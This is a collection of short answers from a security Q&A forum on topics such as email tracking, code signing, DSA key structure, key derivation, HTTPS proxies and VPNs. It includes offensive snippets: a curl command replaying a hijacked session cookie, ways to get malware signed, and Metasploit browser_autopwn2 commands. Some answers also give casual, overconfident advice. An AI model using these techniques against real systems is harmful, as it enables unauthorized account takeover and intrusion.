They may be able to tell that you have read it, but they shouldn't be able to get your IP address. Since 2013 Gmail has proxied images through their own servers, so "tracking pixels" will only get the IP of the Gmail server. This only applies to the web client though (and I believe Gmail's official smartphone apps do this as well, but I haven't tested). If you're using a 3rd party IMAP client then it may reveal your IP address when loading images.

Note that if you click on any links in the email, they can get your IP address no matter what client you use, unless you check the link destination first and verify it's to a domain that you trust and not a tracking domain.


Can malware have signed code?

Yes.

Many pieces of malware have been signed, including Stuxnet, and the malware recently bundled with CCleaner have been signed, in the case of Stuxnet this was probably done by stealing the signing certificate, whereas in the case of the CCleaner attack it seems it was done by infecting the build server, so that it would inject malware in before signing the release.

How can Microsoft guarantee that only Certificate Authorities (CAs) can create signed code?

The CAs do not directly create code, they issue certificates, which developers then use to sign their executables.

For example, if FooBar Widgets released an app, they could sign it with a certificate like this:

Root CA
   Intermediate CA
       FooBar Widgets

If your computer trusts the Root CA then it will trust the certicate for FooBar Widgets, and show the signed prompt for the program, instead of the unsigned one.

As such there are 4 main ways to try to get around this form of code signing:

Break the signing scheme (like Flame did)
Trick the CA into making a fake cert (More common in SSL certs)
Steal the Signing Cert (Stuxnet style)
Trick the company into signing your malware (CCLeaner style)

References

Stuxnet-style code signing is more widespread than anyone thought
Analyzing the MD5 collision in Flame
Inside 'Operation Black Tulip': DigiNotar hack analysed
Avast urges devs to secure toolchains after hacked build box led to CCleaner disaster


How is an authorization server supposed to require client auth for confidential clients?

According to section 2 - client registration a client is registered with the authorization server before initiating any of the flows.

Client registration includes specifying the client type (confidential or public), and is subsequently assigned a client ID. So when the authorization server receives a request for a given client ID, it knows whether it is confidential or public.

For authorization code and implicit grants, the client ID is a required field.

Use of password credentials grant is not recommended, and does not actually require client ID - I mean you're passing your actual credentials directly to the token endpoint, who cares about client ID or client secret!


How can I open a malicious image in whatsapp safely?

Well, without asking why you know it is a malicious image and just answering your question, you could use a tool like VirtualBox and installing  a virtual machine with any operating system, for example Linux, it is free. Then you could download the linux whatsapp client from https://github.com/miccar/wazapp. When downloading and opening the image, it can only touch the virtual machine, not the host computer VirtualBox is running on. Anyway, I don't think it would do anything bad on linux, because noone really bothers to create linux viruses because not so many people use linux.


Are AWS security groups sufficient to authenticate communication between instances? (HIPAA)

You can have multiple API keys.  It's in the basic service offering.  You can audit their usage and restrict by originating IP and other factors.

https://d36cz9buwru1tt.cloudfront.net/pdf/AWS_Security_Whitepaper.pdf

It may be that you need to use the AWS identity product; http://aws.amazon.com/iam/

Amazon has published a whitepaper on HIPAA and HITECH measures for AWS

https://d36cz9buwru1tt.cloudfront.net/AWS_HIPAA_Whitepaper_Final.pdf


How to fetch and update all my friend's keys?

Just save a very small script. You could even run it using a cron job.

This code will read a file, search for each line on the default keyserver, extract found key IDs and recieve them. Call as search-friends-keys.sh myfriendlist.txt if file names used accordingly.

If using as cron job, watch out to run the script in the correct user context (not as root)!

#!/bin/sh
while read line
do
    gpg --with-colons --batch --search $line 2>/dev/null | \
    awk 'BEGIN { FS = ":" };  $1=="pub" { print $2 }' | \
    xargs gpg --recv-keys
done < $1


Privacy data concern: Facebook account appearing with a search for phone number, despite it never being added - what should I do?

There isn't much you can do about it besides deleting your Facebook profile (different from deactivating it - though I'm sure in both cases nothing is really deleted).

As for how Facebook got your number - they have a feature in their mobile apps which allows people to upload their contacts to Facebook - if many of your friends had this enabled (and the app is really pushy about enabling it), eventually Facebook will realize "that many people have this number for this person's name - it must be their number".


why are the first few characters of a DSA Private Key similar?

The DSA private key file has a structure to it, it's not simply a random number (or two). Within the PEM encoded data (base64 + delimiters) is a DER encoded ASN.1 binary structure.
ASN.1 is a system independent way to encode data (think of it like a "binary XML"). Strictly, only the first two bytes of a DSA key encoded this way are fixed, but for a given key size  more can be said. Note there are no "magic numbers" in the underlying data structure.

A DSA key pair has 5 distinct components: P, Q, G, public key part, private key part.
Digging into the source of OpenSSL (used by OpenSSH for this) crypto/dsa/dsa_asn1.c:

ASN1_SEQUENCE_cb(DSAPrivateKey, dsa_cb) = {
    ASN1_SIMPLE(DSA, version, LONG),
    ASN1_SIMPLE(DSA, p, BIGNUM),
    ASN1_SIMPLE(DSA, q, BIGNUM),
    ASN1_SIMPLE(DSA, g, BIGNUM),
    ASN1_SIMPLE(DSA, pub_key, BIGNUM),
    ASN1_SIMPLE(DSA, priv_key, BIGNUM)
} ASN1_SEQUENCE_END_cb(DSA, DSAPrivateKey)

Which corresponds with what you'll see with openssl asn1parse -in id_dsa (though note if you use openssl dsa -in id_dsa -noout -text the version field is omitted, and the order is changed to priv, pub, P, Q, G).

Taking a look at the parsed ASN.1 output:

0:d=0  hl=4 l= 830 cons: SEQUENCE
4:d=1  hl=2 l=   1 prim: INTEGER           :00
7:d=1  hl=4 l= 257 prim: INTEGER           :DFA34F1D[...]

In the DER form of ASN.1 each item of data is a (type tag,length,data) triple. In the above asn1parse output the leading columns indicate the offset, d= depth, hl=header length (size of type tag and length fields), and l= data length. (In non-DER forms it can be a little more complicated, but we don't need to worry about that here.)

If we unwrap the base64 we can see the DER binary format:

$ openssl dsa -in id_dsa -outform DER | hexdump -C | head -1

00000000  30 82 03 3e 02 01 00 02  82 01 01 00 df a3 4f 1d  |0..>........ß£O.|
                                            ^^ ^^ ^^ ^^ ^^

You can expect the leading bytes to be reasonably static (SEQUENCE "container" + version=0), though the sequence size will be dependent on the DSA key size. The DSA "P" (^^) is the long prime (1024, 2048 or 3072 bits) is next, so for a given fixed key size its header of 4 bytes will also be reasonably static. This gives a total of 11 reasonably static bytes for a defined key size (technically sizes, e.g. 2048,256 for p,q). A complication here is minor variations in the size of encoded integers: an extra 0-byte padding will be added to ensure positive integers (leading bit must be 0).

You analysed the base64 encoded data, those 11 reasonably static bytes become encoded in the leading 15 characters of base64 output (11*8/6 =14.66) with two bits of the random P also found in the 15th character (given the padding condition, those two bits will be zero about 75% of the time anyway).
I believe this agrees with your data.

Note the minor increase in variation around the 5th/6th base64 encoded character: this corresponds with the low-octet of the total structure size (4th DER byte), the size has minor variations for fixed key sizes due to the 50% chance of leading 0-padding on each of the 5 encoded DSA integers.

An alternate format for keys is PKCS#8, this omits the public key part, but it adds the dsaEncryption OID so at least the structure is a little less enigmatic:

$ openssl pkcs8 -in id_dsa -topk8 -nocrypt | openssl asn1parse
    0:d=0  hl=4 l= 589 cons: SEQUENCE
    4:d=1  hl=2 l=   1 prim: INTEGER           :00
    7:d=1  hl=4 l= 558 cons: SEQUENCE
   11:d=2  hl=2 l=   7 prim: OBJECT            :dsaEncryption
   20:d=2  hl=4 l= 545 cons: SEQUENCE
   24:d=3  hl=4 l= 257 prim: INTEGER           :DFA34F[...]


Wikipedia censorship breaks after accessing Wikimedia

Can you please try this again with firebug, check the cookies created on your computer when you view wikimedia, it should be there a cookie that lets you pass on the censorship. You'll have to do the dirty job, cause outside of Turkey we can't test such...


Fundamental differences between digital ID and SSL security certificates

"SSL certificate" is an informal name used to refer to the X.509 Digital certificate that is used when communicating over the SSL protocol.

"Digital ID" is a Symantec product name. They don't give much technical information about what it is, but it sounds like an X.509 certificate that you can use for various things, mainly encrypting/signing emails or word documents.

So, they are (probably) the same thing, but are being used for (probably) different purposes.


Displaying info of saved Credit Card in an Application Secured?

The general recommendation is for the server to send back and display the last 4 digits. Reasons :

If someone compromised your account, they would still not get your credit card info.
If someone was shoulder surfing, they wouldn't get your credit card info.


Should I stretch the secret key in a secure cookie protocol implementation?

Key stretching basically gives a key with low entropy more strength, by deriving a hash from it created by multiple iterations.

A 64 character  hex string, assuming it is completely randomly generated will have 256 bits of entropy. When authenticating a string with a HMAC, anything 128 bits or greater is considered "unbreakable".

Key stretching mitigates the risk of having a weak key, because the only way an attacker can find the key is via an offline password guessing attack. With key stretching with say 1024 iterations, this effectively makes the password 10 bits "stronger" because for each password the attacker tries they have to run the hash function 1024 times (the equivalent of having more entropy in the password itself - it makes up for the extra keyspace a stronger password would have).

So with Ruby on Rails, this is protecting against the site owner choosing a weak key (< 128 bits). If you can control your key and you make it strong enough, there is no need for any key stretching.


How to do Mobile application testing using Burp Suite on latest ios and android devices

You sound like you're on the right track. Please try accessing http://example.com/ from the mobile browser - this will confirm that proxying works for non-HTTPS sites.

To install the certificate on recent iOS you must "Enable full trust for root certificates". Instructions here

To install the certificate on recent Android you do need a rooted device.


Does HTTPS encryption work when there is invalid or there is no certificate?

If there is no certificate, there is also no SSL and no encryption. It is not possible to set up a web site for SSL without a certificate.

If a browser doesn't trust a certificate (and there are many reasons why this could be the case) the encryption itself still works.


Struggling to demonstrate/exploit a basic session hijack

Copying the session cookie is the common way to hijack a session. There could be several reasons why it doesn't work in your case:

The session cookie you hijacked isn't valid anymore. A secure web application would invalidate a session as soon as the user logs out - are you sure the target session is still active at the time you hijack it?
The application might bind a session to additional attributes such as the IP address or browser characteristics. That's not terribly common but it would complicate your attack.
You are not correctly applying the hijacked cookie in your browser. It can be fiddly to set cookies manually. Make sure you have closed all tabs when you change cookies so that the site cannot re-add them immediately.

Regarding the last point I would try to reproduce it as simply as possible using command-line tools. That excludes the possibility of any browser side-effects. For example, you could use curl(1) to issue a request (using -b to set the cookie), similar to this:

$ curl -b "user_session=1-mkFXXXXXXXXXXXXXXX" https://github.com/

An authenticated response would indicate that setting the cookie is enough to take over a session.

  On further reading, this seems to be a HttpOnly cookie - so then this is a guard against XSS is it?

The HttpOnly flag protects cookies but not against XSS in general. It only prevents cookies from being exposed to the DOM. For example, on Github the user_session cookie is set in your browser but it remains invisible via document.cookie. There are many more ways to exploit an XSS flaw than just stealing cookies which would work as a good proof of concept.


How does LastPass know that I used the same passphrase with another service?

This is locally verified by the Lastpass extension so that you don't reuse password manager's master password itself somewhere else. Password managers use credential management API to capture credentials from the webpage.
To derive an encryption key from master password, Lastpass feeds master password into PBKDF2 with 100,100 iterations of SHA-256. One more iteration (that is 100,101) gives login hash for the Lastpass web service.
For every credential that it captures, it feeds entered password to the same key derivation function. After 100,101 iterations, if it produces the same hash as the login hash, that means you have reused the master password. It works locally and also at offline.

Why did my LastPass extension just warn me that I was reusing my Master Password elsewhere?


What is the strength of the key derivation function on Android device encryption?

Slide 23 of this presentation claims that the key derivation for "Android Encryption" is PBKDF2 (presumably with HMAC/SHA-1) and 2000 iterations. Since each iteration implies one HMAC call, which itself uses two nest SHA-1 invocations, this amounts to 4000 SHA-1 calls to check one password.

A 2.4 GHz Core2 quad CPU can compute about 48 millions SHA-1 per second (source: me), translating to about 12000 tried passwords per second. If the password is a four-digit PIN code, it will not last long...

With a GPU, you can go to the billions of SHA-1 instances per second. OclHashcat claims measured performance of 27 billions of SHA-1 on a PC with eight big GPU; this would translate to more than 6 millions tried passwords per second with PBKDF2 as used in Android.


No.  Network connections can be spoofed in a variety of ways.  The impact of this is not something that we can say with the information provided; you'll have to evaluate that; but spoofing is technically possible.  If that would be undesirable, use a suitable form of authenticated network connections, such as TLS with public-key authentication.


Well technically yes, once somebody has a physical access virtually anything is possible. An example might be that you are running old version of windows with autoplay still on by default. Somebody then simply inserts the thumb drive with malicious autoplay data and there goes your security even though the computer is locked.


How does medium.com know my google account?

They do that via an iframe with one of Google's beta features which is currently closed. You can see the iframe in the following screenshot of Medium's website.

However, this does not mean Medium will be able to access your user information. The content inside of the iframe is sandboxed and can only be accessed if Google adds a same origin policy permission permitting Medium's domain to access it. See this Medium article for more information on cross origin policies with iframes.


According to my reading of the source code (docs/file-format.txt), the iteration count is stored in the keyring file, specifically in the 25th through 28th bytes after the end of the keyring name.


Given a malware's name or signature, how can I know of my current installation of Kaspersky antivirus knows about it?

Simple google's virustotal.com includes kaspersky.
Upload your file there, and see what kaspersky says, along with dozens of other av.

There is a size and rate limit, but you can sign up for a professional account if you need to do mass scanning.

Also there is an API you can use for scanning.

Using the virustotal API you can also use hash of the file.  There are 3 acceptable hashes, that I recall, one of which was SHA2.  I think you can submit all 3 for the same file if you wish.

They have a software developers kit that might help.
https://usa.kaspersky.com/antivirus-sdk

However, be prepared to PAY $$$$!


How to execute a custom meterpreter payload?

With a quick google search I found the following questions asked previously on this forum, they are not recent however may provide the answer you are looking for.
In Metasploit, how to use a custom exe as payload?
How can I add modules to a Payload on Metasploit
The following article is also catered specifically to your use case;
https://securityboulevard.com/2020/02/evading-antivirus-with-better-meterpreter-payloads/


Trying to verify my X509 certificate "could not verify this certificate for unknown reasons"

Make sure the certificate has "Digital Signature" enabled
Take a look at the key usage extensions on the certificate. They are labelled X509v3 Key Usage by OpenSSL.
$ openssl x509 -in mycert.pem -text -noout
...
X509v3 Key Usage: critical
    Digital Signature, Non Repudiation
X509v3 Extended Key Usage:
    TLS Web Client Authentication, E-mail Protection

If the certificate can't be used for Digital Signature (e.g., it is for E-mail Protection only), then Firefox may not be able to use it.
NSS, the SSL library that Firefox and Mozilla products use, is much stricter than OpenSSL about the key usage settings.


How can I set a lower trust level for Let's Encrypt in Firefox?

As Matthew says, the difference isn't between Let's Encrypt and other CAs, it is between Domain Validated (DV) and Extended Validation (EV) certificates.  That's what you want to distinguish, since the vast majority of CAs do automated DNS or file existence checks for Domain Validated certificates, while Extended Validation certificates require much more paperwork and manual intervention.

Fortunately, browsers already identify EV certificates - often by putting the domain in green - check your browser docs.

There's no significant difference in Domain Validation techniques between Let's Encrypt and, say, Comodo CA certificates sold through NameCheap (example only).

Good luck, though, in sticking with only EV certificates - the vast majority of sites out there have DV certs.


To release as Open Source for Audit or to Keep "in house"

Linus Law (the more people have access to the sourcecode, the more people will find and report bugs) only applies when people have an incentive to get bugs fixed. This incentive usually only exists when they use the software. So when your software is highly optimized for you and you don't expect that a larger community will form around it, you won't get many bug reports and patches out of it.

Also, even when your software gets widely used, this is no guarantee that people will audit it properly for you. A good example is the heartbleed bug, which was a quite typical security vulnerability in a very very widely used piece of open source software.

When it comes to pen-testing software there is also an ethical component to consider. Is your software really only useful for penetration testing, or can it actually be abused for cracking? You might not want to hand script kiddies the tools to cause damage and bring themselves into legal problems.


Can Antivirus scan office and PDF file types?

On a basic level, an antivirus engine can scan any file type provided it has the capability to understand the application signature. In the case of Office documents, it has become a standard to scan them for malicious Macros that are used to execute a command compromising the user's machine. The same applies to PDF files which can contain scripts that also infect the machine and make callbacks to remote botnet servers.

AV engines these days scan all but the most obscure file types and some of them can even tell you if a certain file is exploitable (not infected but having a vulnerability that can be exploited by a threat agent). It has become common practice to scan Office documents and PDF files. False positives might arise sometimes though.


Reading encrypted data before sent to remote server

I Think you are doing the thing wrong from the very beginning. You say you want to prevent users from Learning the password to prevent them from sending spam.

Of course, the SMTP server should be configured to allow no relaying, not even for local users, it should only accept emails for your disposable service.
Then you can easily give out random passwords to your app, completely unencrypted and you can let them read the mails without SSL too. It wont matter if your end users get at hold of them, all they can do is read the email for their own disposable email account in the IMAP box. They wont get any advantage by knowing the password.

To prevent users from using a Another email client and Another SMTP server (like a ISP server) to send spam using your disposable service email adresses as spoofed sender (they wont need to know the password for this type of abuse), configure the disposable service to have a SPF record of "v=spf1 -all". This will ensure all outgoing mails from the disposable service is discarded as fraudulent/spoofed from receivers that adhere to the SPF standard.


Free hotspot: Open wifi vs. WPA2 wifi with known password

A wireless network that is unprotected means that anyone can simply connect to your wireless access point, and collect all of your traffic.  If users of the network aren't using HTTPS (SSL/TLS enabled) webpages then their passwords, usernames, and any other sensitive information would be unprotected.

Using WPA2-PSK, the wireless access point uses the common passphrase to generate unique encryption keys for each wireless client.  Meaning that even if users aren't using HTTPS enabled webpages their traffic is still protected with WPA2.

How WPA2-PSK Authentication Works

  Using a technology called TKIP (Temporal Key Integrity Protocol), that
  passphrase, along with the network SSID, is used to generate unique
  encryption keys for each wireless client. Those encryption keys are
  constantly changed.

TKIP is considered insecure and should not be used.  Instead the WPA2-PSK with AES option should be used to provide unique keys for each wireless client.

Long story short, always choose the encrypted option.

NIST Guidance

  Wireless networks and handheld devices are vulnerable to many of the
  same threats as conventional wired networks. Intruders who gain access
  to information systems via wireless communications can bypass firewall
  protection. Once they have accessed systems, intruders can launch
  denial of service attacks, steal identities, violate the privacy of
  legitimate users, insert viruses or malicious code, and disable
  operations. Sensitive information that is transmitted between two
  wireless devices can be intercepted and disclosed if not protected by
  strong encryption. Handheld devices, which are easily stolen, can
  reveal sensitive information.

  Before establishing wireless networks
  and using handheld devices, organizations should use risk management
  processes to assess the risks involved, to take steps to reduce the
  risks to an acceptable level, and to maintain that acceptable level of
  risk. Using risk management processes, managers can protect systems
  and information in a cost-effective manner by balancing the
  operational and economic costs of needed protective measures with the
  gains in mission capability to be achieved through the application of
  new technology.

Secure Your Wireless Network

  The convenience of having a wireless network in your home comes with
  added security risks. If it isn't secured properly you are vulnerable
  to someone using it to get to your information or to hijack your
  connection or computer for their own purposes.

  You could be held liable if someone uses your internet connection, as
  any illegal activity will be linked back to your ISP account.

  Having an unsecured wireless network can allow anyone within
  range-your neighbours or anyone on the street-to access your network
  or use your internet connection. They could use up your download
  allowance (possibly resulting in excess usage fees), intercept and
  read your files or email or, more seriously, use your account to
  access illegal content or undertake criminal activities.

Security Risks with Using Unsecured Wireless Networking

  Whether you are using a wired router or a wireless one, if it is not
  configured properly, both of them could pose potential security risks.
  The common notion that wireless routers or networks are not secure or
  less secure is true, but only in circumstances where it is used right
  out of the box without correctly configuring its security settings. If
  your wireless network is ‘unsecured’ or ‘open’, an intruder can easily
  gain access to your internal network resources as well as to the
  Internet, all without your consent. Once the intruder has access to
  your network, he/she can use it for a variety of operations, such as:

To steal your Internet bandwidth.
To perform disruptive or illegal acts.
To steal your sensitive information.
To perform Denial-of-Service (DoS) attacks to make the network unusable by sending out false requests.
To infect the network with malicious threats.


How do people know that IP address belongs to VPN?

Your VPN-provider has a static IP address or maybe an IP address range. Due to this, destination hosts will be able to tell if you are using a VPN or have an IP address from another range not belonging to a VPN provider.
To use VPN without people knowing you are doing so, you would have to get a VPN endpoint IP address not listed in any VPN IP lists.


How to handle improper key sizes (AES encryption)

This is an API question, not an cryptography question.  The AES standard (FIPS 197) is silent on how nonstandard key sizes are handled.  The AES implementations I've seen all reject nonstandard key sizes with an error; however a higher level crypto implementation (that does more than 'just AES') might choose to provide more services (depending on the job it is designed for).

On the other hand, the question typically doesn't come up; we most often generate an AES key with a key derivation process, where we specifically ask that process "give us 128/192/256 bits of key", and that's how much key it gives us.

As for your alternatives, IMHO, silently truncating the key value is Evil; what is the right thing would depend on what you're actually doing (and who's actually generating the key, and why might it not be a standard size).

Also, ECB mode?  Unless you know exactly what you're doing (and if you have to ask this question, you don't), you should avoid it.


The first problem I see is that you use a standard random function instead of a cryptographic random. I don't see how you seeded that, but if it is srand(time(0)) then it can probably be cracked.

However AES ECB mode is still AES. If you have only 1 block of ciphertext it is ok. If you have lots of texts then probably one will still be unable to crack it, the problem with ECB mode is that 2 blocks of the same plaintext will have the same ciphertext block too. So it really depends on the text you want to encrypt and the attacker's knowledge of the original plaintext. What you see on Wikipedia is a picture encoded where there are lots of similar blocks. All the white blocks will be similar, all the black blocks will be similar and so on and so forth.


List of common website endings/pages for enumeration?

I believe the kind of tool you are looking for is called a "web fuzzer." A quick search turned up an open source tool called wfuzz, which contains a folder called wordlist which has lists that seem to be pretty close to what you describe.


Decrypting gpg2-symmetrically-encrypted files using non-gpg2 tools

AES256 is a standard algorithm. Any tool that correctly implements a standard is interchangeable.

That said, a given tool may append decorators before and after that might need to be stripped out or altered for another tool, but the core encryption is the same.


Secured Software Update from an unauthenticated entity

As the software update is already encrypted and its origin can be verified, I am asking myself whether the sending entity needs to authenticate themselves. Are there any security issues, when sending secured software over an insecure channel?

This is largely how Linux distributions such as OpenSUSE, Debian, Ubuntu and others distribute their software. Individual pieces of software is signed by a gpg key, which is trusted by the operating system.
The download is not authenticated or secured; any MiTM is generally free to modify data as they see fit. However, doing so breaks the signature - and the update will not be installed. On Debian, size, md5sum and sha256sum is verified. If all match, package will be installed.
One possible attack here is delaying updates. As previous content tables are signed, they are valid, so a MiTM attacker can reply that 'sorry, no updates for you', and the client will be none the wiser that there may actually be important updates.
A fix for this is to make the client give alarm is no new content appears for a set period. For projects such as Ubuntu, Debian or OpenSUSE, it's rare to go many days without updates, so this would be a solid hint that something is up.
So in short; as long as you use a suitable signature, this distribution model is secure. You don't need to trust the entity that sends you the update; at worst they can send you a broken update, which will not be trusted.


Automate the process of giving a user access to his encrypted messages, when the user loses his password

First, don't re-encrypt messages, encrypt message decryption keys.  It is far more efficient to produce a symmetric key for each message and then encrypt it to each user's keyring that should have access.  If admin users have access to all messages, you could add the private keys of all users to a keyring and then simply return the private key to the user after their password is changed.  This should probably not be an automated process though as you need to make sure that the user is the correct person first or there isn't much point to the encryption.  Further, you want to avoid storing keys on the server, which means some admin user needs to be logged in to unlock the user's private key for their account.


Why do pop up ads automatically download .exe files?

"Usually I just close the ad"

Well, you think you closed the window. What you did was click on something, which permitted the download.
Most everyone just looks for the little "X" to close the window. The scammers know this and manipulate what looks like a window so that you actually click a download button.


Password is visible in online sign up form

The main risks with making a password visible are:

The password can be seen by someone shoulder-surfing
The HTML element type may discern how the browser or browser extensions treat the data, possibly sending it to Google or another entity (e.g. for spell check).

There are some advantages to allowing the user to see what they entered, even temporarily. A user can check if they made any mistakes while typing it in. This is less effective when you already need to enter it twice though.

Does a form like this indicates that the way the way the school protects students' data is not secure, such as storing password verbatim rather than something like one-way hash?

From a technical standpoint, this form tells you nothing definitive about how the system works. Sure, you can make assumptions about their practices based on this, but they will just be assumptions.
In general, while there are some downsides to this, I don't think it is a huge issue.


Using the user's GUID-id as a salt for Rfc2898DeriveBytes

Given that you say the GUID is sequentially assigned and sent in network traffic, no, it is not suitable for use as a salt. While it will still prevent the typical scenarios of "attacker wants to crack all your passwords, so they build a rainbow table that can be used to look up any hashed password" and "two users used the same password, and you can tell because their hashes match", it's still weaker than it should be.

In particular, it does not prevent the scenario of "attacker wants to crack a specific password, so they build a rainbow table using that user's (known) salt". Yes, the attacker still needs to get access to the user's password hash, which implies they'd have access to the salt anyhow, but normally that then begins a race between the site admin noticing the breach and the attacker managing to brute-force the slow hash (you did use an expensive hash function, right?). If the salt is known in advance, the attacker can perform the slow process of brute forcing the hashes (by building a rainbow table), and then instantly determine the password once the user's hash becomes known.


Potential worm damage on a physically isolated Tor system

Tor provides you anonymity, but it will not protect you at all from malwares or any other security threats. All recommendation regarding network security must therefore be scrupulously respected in order to ensure your network safety.

You do not mention it in your description, but be aware that your setup matches Whonix project, so if you do not want to reinvent the wheel and benefit from their experience feel free to rely on them for your setup.

At last, personally I would strongly recommend using an ethernet connection. Using a properly secured Wifi access should not be a major threat, so if it has a real benefit for you it may still be considered, but personally I would feel less comfortable in the idea of spreading confidential data everywhere around me, even in encrypted form.


Is it possible to prevent WiFi password brute-forcing?

Yes, Not using a Password would negate all brute forcing of the password...

But if you do I would recommend that you instead setup a Kerberos Network authentication setup with TLS certificates (and LDAP). But this would be a lot harder than just use a simple password exchange.


How advisable is to give my phone number as part of dating/ casually socializing?

Today a phone number is as much PII as your SSN, credit card number, or physical address.  Aside from that, it could be painful and time consuming to change you phone number.

Consider using Google Voice, Sudo (https://sudoapp.com/) or Blur (https://www.abine.com/index.html) to mask your real phone number.  Sudo allows you to create a compartmentalized personas complete with email and phone.  If the masked number is compromised somehow, you simply throw it away.


Is it normal for a payment procedure to ask for third party cookies to be turned on?

A common reason for having third-party cookies on payment pages is analytics.  Payment events are usually the most important ones to track because they are the actual measure of success and most analytics is done with third-party cookies.

Other reasons can be CDNs and third-party payment providers.

It would seem unlikely for an active attack to use third-party cookies at all, let alone interrupt the process to request that you switch them on.  An attacker would find a different way to exfiltrate the sensitive data without drawing attention to the attack.


Can I be sure a Word document is safe if it doesn't have macros

Macros is the major risk associated with word documents. But it is not the only one.
It is possible that there is some sort of code execution vulnerability in Word, that allows a malicous word document to spread malware on your computer. Such a vulnerability would be a pretty big deal, though, and personally I would not worry about it.
Is there a way to make Word documents make HTTP requests? I am not sure, but if there is, the risk would be similar to clicking on a link on a webpage.
The content of the word document could also be used for social engineering, but here it is you rather than Word that might be vulnerable.
Personally, I open word documents without macros from untrusted sources without thinking twice about it.
(A side note: If you have opened the word document to check for macros, you have already exposed yourself to risk. For the modern MS Office file formats, you can use the extensions to check for macros - .docx does not allow macros, while .dotm do.)


Not to apply KPTI on servers that only run trusted code?

If you only run fully trusted code on your server which only handles fully trusted data so that only predictable harmless code execution is done then you don't need to have any kind of security on this system - this include KPTI.

If you are not completely sure about the innocence of the code on the system or the data processed by the code then you should add some security. Since all security measures are associated with some costs (performance, maintenance, usability...)  you have to balance the costs against the gains. How this balance looks in your specific case depends a lot on how much do you believe in the innocence of the code and data you process on the system.


How to refute "don't use internet if you don't like it" answer?

Different countries take a much different position on a person's right to privacy on the internet. The European Union has legislation in place to control what companies can legally do with personal information that you provide. The United States is much more like the wild west in terms of what companies can do with your data. And then there are repressive governments in parts of the wold that spy on internet traffic to jail and torture people who engage in internet activities that they do not approve of.

Perhaps it comes down to the question "Is privacy a basic human right that all people, no matter where they live, should have?" If so, that an answer like "if you want rights, don't be born in a country with a government that tramples rights" is not an acceptable answer. In other words it is the responsibility of government to protect the rights of its citizens.

So ask the person if they believe that control of their personal data is a right or is personal data merely a commodity to be bought and sold in the open market by large companies like Google and Apple?


The issue seems to be exposing the url of the image and there by alerting the user to the possible repeated captcha.

Have you considered using a php script to serve the image? Perhaps using the session to identify which captcha image to serve.  Although a bit slower than the client getting the image directly, it does provide a means for obscuring which file the user is loading.


If a site includes the header 'HTTP Content-Security-Policy require-sri-for' then does this include all nested scripts?

No, it does not mean that. This header tells the browser to enforce SRI check on every single script you have on the page.

If you use:

Content-Security-Policy: require-sri-for script

You must add the integrity attribute of every script you use:

<script src="https://some.code.com/example1.js"
    integrity="sha256-5i/mQ...yXWA="></script>

<script src="https://some.code.com/example2.js"></script>

So if you don't use integrity attribute on any script, it won't load. So example2.js above will not be loaded.


Is chaining multiple VPNs a good way to reach anonymity on the internet?

It depends on what you're trying to defend against.

If you're trying to prevent a site operator from identifying who you as a user are, multiple VPNs won't gain you anything.  The operator will see the traffic as coming from the endpoint of the final VPN regardless of how many there are in the chain.  You're still vulnerable to being identified through other means (eg. if you sign up with a username you use elsewhere).  This is essentially the same level of anonymity you'd get through TOR, but it costs more (and presumably has better performance).

If you're trying to keep a government from tracking you down, multiple VPNs again won't gain you anything.  The government just needs to identify the last one in the chain, and then ask who's paying for it.  Here, TOR is better, since there's no financial link to you.

If you're dealing with an adversary who can monitor packet movements on the Internet, but can't monitor financial transactions or serve subpoenas (I can't think of any), chained VPNs will increase your anonymity by increasing the number of traffic flows they need to monitor.  But this is a very rare case, if it exists at all.


Why is it possible to sniff an HTTPS / SSL request?

This is explained in their page on SSL proxying, perhaps not with enough explanations.

A proxy is, by definition, a man-in-the-middle: the client connects to the proxy, and the proxy connects to the server.

SSL does two things:

It ensures the confidentiality and integrity of the established connection.
It performs some verification of who you are connecting to.

It's the second part that's important, and seemingly broken, here: you're sitting at your browser, and surprised that your browser is connecting to the proxy whereas you expected it to connect to Facebook. Technically, the proxy is not sniffing the HTTPS traffic, it's relaying it.

Your browser knows that it's connected to Facebook because the site has a certificate that says “I am really www.facebook.com”. Public-key cryptography, by means that I will not get into here, ensures that only the holder of the private key can initiate a valid connection with this certificate. That's only half the battle: you only have the server's claim that it really is www.facebook.com and not randomhijacker.com. What your browser does is additionally check that the certificate has been validated by a certificate authority. Your browser or operating system comes with a list of certificate authorities that it trusts. Again, public-key cryptography ensures that only the CA can emit certificates that your browser will accept.

When you connect to the proxy, your browser receives a certificate that says “I am really www.facebook.com”. But this certificate is not signed by a CA that your browser trusts by default. So:

either you received a warning about an insecure HTTPS connection, which you clicked through to see the concent at https://www.facebook.com/;
or you added the CA that signed the proxy's certificate (“Charles's CA certificate”) to your the list of CAs that your browser trusts.

Either way, you told your browser to trust the proxy. So it does. An SSL connection is not secure if you start trusting random strangers.

Recommended reading for further information:

when is it safe to click through an SSL warning message?
Does an established ssl connection mean a line is really secure
SSL with GET and POST
How do I check that I have a direct SSL connection to a website?
Does https prevent man in the middle attacks by proxy server?
How is it possible that people observing an HTTPS connection being established wouldn't know how to decrypt it?
How can end-users detect malicious attempts at SSL spoofing when the network already has an authorized SSL proxy?


Why is calculating the checksum of an IP Datagram header and then encrypting it not appropriate to provide Data Origin Authentication?

Right after the first packet has arrived, any intruder may listen then reproduce the same packet header. That's simply the reason.

That's known as the replay attack.


Why aren't digital signatures the standard way to authenticate web clients?

The simplest answer is that key/certificate distribution is a difficult and expensive problem.

For certificates to work securely, you generally need some trusted authorities (typically CAs) to sign the certificates. Who would do this? You can't expect some trusted entity to go around and approve every internet user's certificate. You could use a web of trust, but this has it's own complications (Which signatures do we trust? Will casual internet users care about endorsing other people's certificates? Is it even secure to let them do so?). What about certificate revocation? How could you handle that nicely with millions of clients?


armitage find attack tool cli equivalent command

There used to be an autopwn option in Metasploit which would do what you are looking for but only target browsers. However, just like the name in Armitage implies, it selects a large set of exploits, fire it at the target and hope for the best. However, exploitation if not done correctly can do more harm than good. For example, an SMB exploit which has a wrong target selected can crash the SMB service which require manual restart of the machine in order to fix. It means not only will the person attacking the machine won't get a session but it can be easily detected as well. Based upon these concerns, the autopwn functionality has been deprecated. Metasploit now has the AutoPwn2 module which targets only browser based exploits but in a lot smarter way. This is better in the sense that exploits are only fired if the target is fingerprinted correctly and then modules are fired based upon their ranks which means more reliable exploits are attempted first. This way if you are targeting a flash exploit, you don't need to be worried about the architecture and OS details of the connected users and the module will take care of it.

msf > use auxiliary/server/browser_autopwn2
msf auxiliary(browser_autopwn2) > show options

Module options (auxiliary/server/browser_autopwn2):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   EXCLUDE_PATTERN                   no        Pattern search to exclude specific modules
